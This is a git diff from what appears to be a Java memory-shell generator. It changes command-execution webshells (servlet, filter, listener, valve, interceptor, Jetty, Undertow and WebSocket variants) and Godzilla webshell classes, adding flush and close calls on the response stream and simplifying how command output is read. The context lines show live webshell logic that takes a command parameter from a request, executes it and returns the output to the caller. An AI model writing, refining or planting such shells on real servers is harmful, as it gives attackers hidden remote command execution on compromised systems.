diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java
index 5ae8626e..ee1e0e36 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java
@@ -27,6 +27,8 @@ public class Command {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java
index 83bb6263..0fd14c53 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable e) {
             e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
index 4a1cc167..030c64ce 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = servletResponse.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java
index 6f00a08b..943cbafe 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return false;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java
index 5037f4e8..2a65eaf9 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyAgentHandler.java
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 if (baseRequest != null) {
                     baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
                 }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java
index 8595f9c1..a37877b5 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyCustomizer.java
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java
index 78beb225..42a9b50f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
index bd6fde1a..0ab2430f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
             }
             if (p != null) {
                 String param = getParam(p);
-                HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
+                HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = servletResponse.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable e) {
             e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
index 55be5b40..af225cdf 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * @author ReaJason
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
             if (p != null) {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
-                ServletOutputStream outputStream = response.getOutputStream();
-                byte[] buf = new byte[8192];
-                int length;
-                while ((length = inputStream.read(buf)) != -1) {
-                    outputStream.write(buf, 0, length);
-                }
+                response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable e) {
             e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
index 8505e2e8..9928c236 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
                 response.getWriter().flush();
+                response.getWriter().close();
             }
         } catch (Throwable ignored) {
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java
index 2bc459d9..30784641 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUndertowServletHandler.java
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
                 InputStream inputStream = getInputStream(param);
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
+                outputStream.flush();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java
index 5632405c..f036150f 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
                 OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
                 outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
                 outputStream.flush();
-                inputStream.close();
+                outputStream.close();
                 return true;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
index ca73dc8f..b77fbf15 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
                 String param = getParam(p);
                 InputStream inputStream = getInputStream(param);
                 response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
+                response.getWriter().flush();
+                response.getWriter().close();
                 return;
             }
         } catch (Throwable e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
index 2e2008a8..2b94fd58 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
 import javax.websocket.Session;
 import java.io.ByteArrayOutputStream;
 import java.io.InputStream;
+import java.util.Scanner;
 
 /**
  * <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
     public void onMessage(String cmd) {
         try {
             InputStream inputStream = getInputStream(getParam(cmd));
-            byte[] buf = new byte[8192];
-            int length;
-            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-            while ((length = inputStream.read(buf)) != -1) {
-                outputStream.write(buf, 0, length);
-            }
-            session.getBasicRemote().sendText(outputStream.toString());
+            session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
         } catch (Throwable e) {
             e.printStackTrace();
         }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java
index c01f29a0..ee8d8bc8 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java
index c0b6f218..b56f65af 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
index c8f02bee..e24d0597 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java
index 9f0a0c2a..47647f2d 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java
index 14e78112..a9451c3c 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                     if (baseRequest != null) {
                         baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java
index 16ca3b21..fae1cd4b 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java
index 146d88c9..eacedd76 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java
index 3382da61..21f79cc9 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
index 0b077868..ae373c4d 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java
index 9feec724..a68002b9 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java
@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java
index 85875843..43735115 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
index 0ab3fdc1..28e6a740 100644
--- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
+++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
                         writer.write(md5.substring(0, 16));
                         writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
                         writer.write(md5.substring(16));
+                        writer.flush();
+                        writer.close();
                     }
                 } catch (Throwable e) {
                     e.printStackTrace();